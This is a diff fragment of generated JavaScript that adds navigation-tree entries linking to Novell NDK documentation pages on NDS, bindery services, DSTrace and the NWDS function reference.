+ var navElement = navigationLink("Background Processes ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hz2kcp2e.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Bindery Services ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hwug6ytv.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Bindery Context ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h8dwby8o.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Context Path ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h6y3yva6.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Context Eclipsing ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hwcqk80m.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Bindery Objects ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hq4w9le6.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Return Values ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hbjry4gt.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Return Values from the Operating System ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h5h16q77.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Client Return Values ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/he2lvhfy.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Agent Return Values ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hcvwzt90.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Directory Services Trace Utilities ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hujirj2n.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Using the DSTrace NLM ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hmg1e5gn.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Using Basic SET DSTrace Commands ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hdn0smja.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Starting Background Processes with SET DSTrace ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h5pjd8fv.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Tuning Background Processes ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hhv9cqpk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Enabling DSTrace Messages with SET DSTrace ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hcah5j8v.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Revision History ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/a5i29ah.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Core Services ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h2y7hdit.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Programming Concepts ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h2x9gqr9.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Context Handles ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/huynzi7a.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Buffer Management ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h9xiygoj.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Read Requests for Object Information ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h7d6try4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Search Requests ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h11es6ae.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Developing in a Loosely Consistent Environment ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hsaqomj7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Add Object Requests ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hqjws9hi.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Security and Applications ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h3xwyggn.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Authentication of Client Applications ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h0m1k6ck.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Multiple Tree Support ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hu5a8flo.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Effective Rights Function ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/he06edkq.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition Functions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/ha7fzu9h.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica Functions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hpmsr4w7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Read Requests for Schema Information ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h0a2o4v9.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Schema Extension Requests ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hrgy5k6e.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/huypg52u.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Context Handle Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hw34ixeu.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Buffer Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hb1nkqk4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Authentication and Connection Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/huzx6sda.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hddp9m9i.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition and Replica Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hpx2o69b.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Schema Tasks ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hp85l75p.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Functions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h7qwv271.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAbbreviateName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk135.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAbortPartitionOperation ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk144.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAddFilterToken ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk153.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAddObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk162.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAddPartition (obsolete&#45;&#45;&#45;moved from .h file 11/99) ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk171.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAddReplica ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk180.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAddSecurityEquiv ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk189.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAllocBuf ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk198.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAllocFilter ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk207.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAuditGetObjectID ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk216.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAuthenticate ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk225.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAuthenticateConn ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk234.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSAuthenticateConnEx ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a3fvxoz.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSBackupObject ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk243.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSBeginClassItem ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk252.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCanDSAuthenticate ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk261.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCanonicalizeName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk270.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSChangeObjectPassword ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk279.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSChangeReplicaType ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk288.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCIStringsMatch ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk297.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCloseIteration ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk305.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCompare ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk314.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSComputeAttrValSize ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk360.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCreateContext (obsolete&#45;&#45;&#45;moved from .h file 6/99) ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk369.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSCreateContextHandle ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk371.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSDefineAttr ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk382.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSDefineClass ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk391.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSDelFilterToken ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk402.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSDuplicateContext (obsolete 03/99) ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk412.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSDuplicateContextHandle ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk423.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSExtSyncList ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk434.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSExtSyncRead ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk443.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSExtSyncSearch ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk455.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSFreeBuf ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk465.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSFreeContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk474.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSFreeFilter ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk491.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGenerateObjectKeyPair ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk501.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetAttrCount ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk511.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetAttrDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk521.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetAttrName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk530.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetAttrVal ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk540.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetAttrValFlags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk550.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetAttrValModTime ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk558.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetBinderyContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk566.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetClassDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk603.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetClassDefCount ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk691.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetClassItem ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk769.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetClassItemCount ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk838.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk919.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetCountByClassAndName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk972.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetCurrentUser ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1031.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetDefNameContext ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1041.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetDSIInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1117.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetDSVerInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1209.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetEffectiveRights ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1274.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetMonitoredConnRef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1346.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetNDSInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1425.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetObjectCount ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1528.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetObjectHostServerAddress ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1604.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetObjectName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1640.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetObjectNameAndInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1700.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetPartitionExtInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1781.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetPartitionExtInfoPtr ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1830.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetPartitionInfo ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk1938.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetPartitionRoot ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2001.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetServerAddresses (obsolete 3/98) ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2021.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetServerAddresses2 ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2030.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetServerDN ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2039.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetServerName ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2047.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetSyntaxCount ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2056.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSGetSyntaxDef ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/sdk2065.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
